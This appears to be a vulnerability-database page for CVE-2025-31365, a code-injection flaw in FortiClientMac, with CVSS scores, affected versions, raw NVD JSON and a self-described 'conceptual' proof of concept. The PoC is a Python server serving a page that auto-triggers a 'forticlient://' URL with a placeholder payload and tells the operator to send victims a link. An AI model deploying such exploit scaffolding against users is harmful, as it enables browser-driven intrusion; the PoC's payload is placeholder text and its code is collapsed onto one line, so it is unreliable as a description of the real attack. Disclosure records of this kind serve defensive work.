Security Vulnerability Report
中文
CVE-2025-31365 CVSS 5.8 MEDIUM

CVE-2025-31365

Published: 2025-10-14 16:15:37
Last Modified: 2025-10-15 17:30:38

Description

An Improper Control of Generation of Code ('Code Injection') vulnerability [CWE-94] in FortiClientMac 7.4.0 through 7.4.3, 7.2.1 through 7.2.8 may allow an unauthenticated attacker to execute arbitrary code on the victim's host via tricking the user into visiting a malicious website.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:macos:*:* - VULNERABLE
cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:macos:*:* - VULNERABLE
FortiClientMac 7.4.0
FortiClientMac 7.4.1
FortiClientMac 7.4.2
FortiClientMac 7.4.3
FortiClientMac 7.2.1
FortiClientMac 7.2.2
FortiClientMac 7.2.3
FortiClientMac 7.2.4
FortiClientMac 7.2.5
FortiClientMac 7.2.6
FortiClientMac 7.2.7
FortiClientMac 7.2.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-31365 - FortiClientMac Code Injection PoC # This is a conceptual PoC demonstrating the attack vector # The vulnerability allows code injection via malicious website import http.server import socketserver import webbrowser from urllib.parse import urlparse, parse_qs # Payload that exploits the code injection vulnerability in FortiClientMac # The actual payload would be specific to the vulnerable component MALICIOUS_PAYLOAD = """ <script> // Exploit CVE-2025-31365 - FortiClientMac Code Injection // Targets the web content processing component // The malicious code attempts to inject into FortiClientMac's processing function exploitFortiClient() { // Construct payload targeting vulnerable code generation path var payload = { // Malicious data designed to trigger code injection target: "forticlient_web_handler", injection: "arbitrary_code_execution_payload" }; // Attempt to trigger the vulnerability through FortiClientMac's // web content processing mechanism try { // Send crafted request that triggers code injection window.location = "forticlient://" + btoa(JSON.stringify(payload)); } catch(e) { // Fallback exploitation method console.log("Exploit attempted"); } } // Auto-trigger when page loads window.onload = exploitFortiClient; </script> """ class ExploitHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() # Serve malicious page with exploit payload self.wfile.write(MALICIOUS_PAYLOAD.encode()) if __name__ == "__main__": PORT = 8080 print(f"[*] Starting malicious server on port {PORT}") print(f"[*] Send victim link: http://attacker-server:{PORT}") with socketserver.TCPServer(("", PORT), ExploitHandler) as httpd: httpd.serve_forever()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31365", "sourceIdentifier": "[email protected]", "published": "2025-10-14T16:15:37.263", "lastModified": "2025-10-15T17:30:38.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Control of Generation of Code ('Code Injection') vulnerability [CWE-94] in FortiClientMac 7.4.0 through 7.4.3, 7.2.1 through 7.2.8 may allow an unauthenticated attacker to execute arbitrary code on the victim's host via tricking the user into visiting a malicious website."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:macos:*:*", "versionStartIncluding": "7.2.1", "versionEndExcluding": "7.2.9", "matchCriteriaId": "07676557-6E50-4914-8C38-29B7D38F8BBC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:macos:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.4", "matchCriteriaId": "35B10AC0-1B23-47AF-B176-1FAB17A32C3C"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-037", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}